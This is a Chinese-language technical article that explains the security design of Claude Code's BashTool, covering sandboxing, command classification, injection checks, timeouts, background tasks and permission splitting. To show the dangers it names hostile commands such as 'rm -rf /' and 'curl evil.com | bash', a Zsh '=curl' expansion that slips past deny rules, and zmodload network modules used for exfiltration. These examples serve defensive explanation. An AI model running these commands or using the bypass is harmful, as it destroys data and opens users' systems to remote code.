BashTool:让 AI 安全执行 Shell 命令
深入 BashTool 的安全执行架构——沙箱机制、命令分类、超时管理、AbortSignal 集成、后台执行
问题引入
让 AI 执行 Shell 命令是一种极端危险的能力。一条 rm -rf / 就能摧毁整个系统;一条 curl evil.com | bash 就能执行任意远程代码;甚至看似无害的 cat /dev/random 都能让进程挂起。
然而,Shell 命令又是 AI 编码助手不可或缺的能力。运行测试、安装依赖、执行构建、Git 操作——这些都需要 Shell 访问。Claude Code 的 BashTool 必须在"足够强大"和"足够安全"之间找到平衡点。
BashTool 是 Claude Code 中最复杂的单个工具,其源码跨越多个文件、数千行代码。本文将深入它的安全执行架构——从沙箱机制到命令分类,从超时管理到后台执行。
BashTool 的输入模型
六个字段中,_simulatedSedEdit 是一个内部字段,永远不会暴露给模型。它用于 sed 编辑预览:当用户在权限对话框中批准了一个 sed 命令的预览结果后,系统将预计算的新文件内容直接写入,而不是重新执行 sed。这避免了"预览看到的"和"实际执行的"不一致的问题。
semanticNumber 和 semanticBoolean 是 Claude Code 特有的 Zod 类型——它们在 Schema 层面接受字符串形式的数字/布尔值(如 "true" 或 "120000"),处理 AI 偶尔将参数作为字符串发送的情况。
命令分类体系
BashTool 将 Shell 命令分为多个语义类别,用于 UI 展示和行为判断:
管道和复合命令的分类
分类逻辑不是简单地检查第一个命令。对于管道(cat file | grep pattern),所有部分必须都是搜索/读取命令,整个命令才被视为搜索/读取:
echo 和 printf 被标记为"语义中性"——它们在管道中不改变整体命令的读/写性质。ls dir && echo "---" && ls dir2 仍然被视为列目录命令,因为 echo 不影响语义。
命令语义解释
不同命令的退出码有不同含义。grep 返回 1 表示"没找到匹配"而非错误;diff 返回 1 表示"文件有差异"。BashTool 通过语义映射表正确解释这些情况:
沙箱机制
BashTool 的沙箱是一个可选但推荐的安全层,控制命令可以访问哪些文件和网络主机。
沙箱决策流程
四个条件可以跳过沙箱:
- 沙箱全局未启用
dangerouslyDisableSandbox: true且策略允许无沙箱命令- 没有命令(空调用)
- 命令匹配用户配置的排除列表
排除命令的匹配
排除列表支持与权限规则相同的模式语法:
这里使用了不动点迭代(fixed-point iteration)来处理环境变量和 wrapper 命令的交错:timeout 300 FOO=bar bazel run 需要先剥离 timeout 300,再剥离 FOO=bar,最后匹配 bazel。单次遍历无法处理这种交错。
沙箱 Prompt 注入
当沙箱启用时,BashTool 的 prompt 会动态注入沙箱限制信息:
注意 dedup 函数的使用:SandboxManager 从多个来源(settings 层、默认值、CLI 标志)合并配置时可能产生重复路径。去重后注入 prompt 可以节省约 150-200 个 token。
安全检查:bashSecurity.ts
BashTool 的安全检查是一个多层防御系统,位于 bashSecurity.ts 中。
命令替换检测
这些模式检测各种形式的命令替换——攻击者可能通过 $(malicious_command) 或 Zsh 的 =cmd 扩展来注入恶意命令。注意 Zsh 的 =curl evil.com 会被扩展为 /usr/bin/curl evil.com,绕过基于命令名的 deny 规则。
Zsh 危险命令
zmodload 是最危险的——它可以加载 zsh/system(绕过文件权限检查)、zsh/zpty(伪终端执行)、zsh/net/tcp(网络外泄)等模块。Claude Code 将这些命令作为防御纵深阻断。
安全检查标识符
23 种安全检查,每种都有数字 ID(避免在日志中记录字符串),覆盖了从 IFS 注入到 Unicode 空白字符攻击的广泛威胁面。
破坏性命令警告
这些警告是纯信息性的——不影响权限逻辑或自动批准。它们在权限对话框中显示,帮助用户做出知情决策。注意 git clean 的正则排除了 --dry-run 和 -n 标志——干运行不是破坏性的。
超时管理
BashTool 有三层超时控制:
- 默认超时 — 通常为 120 秒(2 分钟),适合大多数命令
- 最大超时 — 通常为 600 秒(10 分钟),AI 可以通过
timeout参数请求更长时间 - 后台执行 — 长时间命令可以通过
run_in_background: true转入后台
后台执行
在 Assistant 模式下,阻塞命令在 15 秒后会被自动后台化。这防止了长时间运行的构建或测试阻塞整个交互循环。
后台任务有专门的生命周期管理:
不允许自动后台化的命令有一个黑名单——sleep 命令就在其中,因为它通常是等待的前奏,不应该被后台化。
进度显示
命令运行超过 2 秒后开始显示进度。这避免了对快速命令的不必要 UI 噪音,同时让用户知道长时间命令仍在运行。
权限系统交互
BashTool 的权限检查是所有工具中最复杂的,位于 bashPermissions.ts。
子命令拆分
复合命令(如 mkdir -p src && touch src/index.ts && npm init)会被拆分为子命令,每个子命令独立进行权限检查。但有上限——50 个子命令。超过这个数量,系统无法证明命令安全,直接回退到 ask(请求用户确认)。
这个限制的原因在源码中有解释:splitCommand_DEPRECATED 在复杂复合命令上可能产生指数级增长的子命令数组,每个子命令都要经过 tree-sitter 解析和约 20 个验证器,导致事件循环饥饿。
基于 Classifier 的权限
Claude Code 支持基于 AI 分类器的权限判断——使用模型来理解命令的意图,而不仅仅是模式匹配。这个系统在 bashPermissions.ts 中通过 classifyBashCommand 实现,在内部版本中记录评估结果用于分析。
Prompt 工程:引导 AI 使用正确的工具
BashTool 的 prompt 不仅描述了工具本身,还明确引导 AI 优先使用专用工具:
这种"NOT X"的明确否定比"prefer Y"更有效——它直接告诉 AI 不要做什么,减少了歧义。
Git 安全协议
Prompt 中包含详细的 Git 安全协议:
这些规则不是建议——它们是硬约束。"CRITICAL" 标记的规则(总是创建新 commit 而非 amend)解决了一个真实的数据丢失风险:当 pre-commit hook 失败时,commit 并未发生,此时 --amend 会修改上一个 commit。
睡眠检测
一个有趣的防护措施——阻止 AI 使用 sleep 进行轮询:
2 秒以下的 sleep 被允许(用于速率限制),但更长的 sleep 会被阻止或警告。当检测到 sleep 5 && check_status 这样的模式时,系统会建议使用 run_in_background 或 Monitor 工具替代。
Sed 编辑预览
BashTool 对 sed 命令有特殊处理——它可以在权限对话框中显示编辑预览:
这确保了用户在权限对话框中看到的 diff 和实际写入的内容完全一致——不会因为 sed 的执行环境差异导致不同的结果。
设计启示
BashTool 的设计体现了几个关键原则:
-
纵深防御 — 沙箱、权限检查、安全模式验证、破坏性命令警告——每一层都可能失败,但所有层一起提供了健壮的保护
-
语义理解 — 命令分类、退出码解释、静默命令识别——系统不仅仅执行命令,还理解命令的语义
-
渐进策略 — 默认使用沙箱,允许有条件绕过。默认超时 2 分钟,允许延长到 10 分钟。默认前台执行,支持后台化。每个约束都有逃生舱口
-
复杂度预算 — 子命令数量上限、安全检查的数字 ID、去重后的沙箱路径——在复杂性不可避免时,系统设定了明确的复杂度预算来防止失控